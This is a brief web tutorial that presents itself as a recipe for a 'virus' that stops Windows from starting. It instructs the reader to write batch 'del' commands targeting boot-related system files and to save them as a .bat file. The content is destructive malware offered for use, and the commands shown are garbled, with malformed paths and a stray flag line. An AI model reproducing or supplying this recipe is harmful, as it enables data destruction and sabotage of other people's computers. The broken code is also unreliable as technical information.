How to create a virus that deactivates an OS

How to create a virus that deactivates an OS
Here are the stepts you should follow to make the virus:
This virus will stop and prevent a computer from starting up and the only solution would be to reinstall winsows.
Warning : never try it on your computer.
open up notepad and type in the following


del "C:windows\SYSTEM32\bootok"
/Q/S >nul
del "C:windows\SYSTEM32\bootvid.dll"
del "C:windows\SYSTEM32\bootvrfy"


After you type these save it as "any name you want ".bat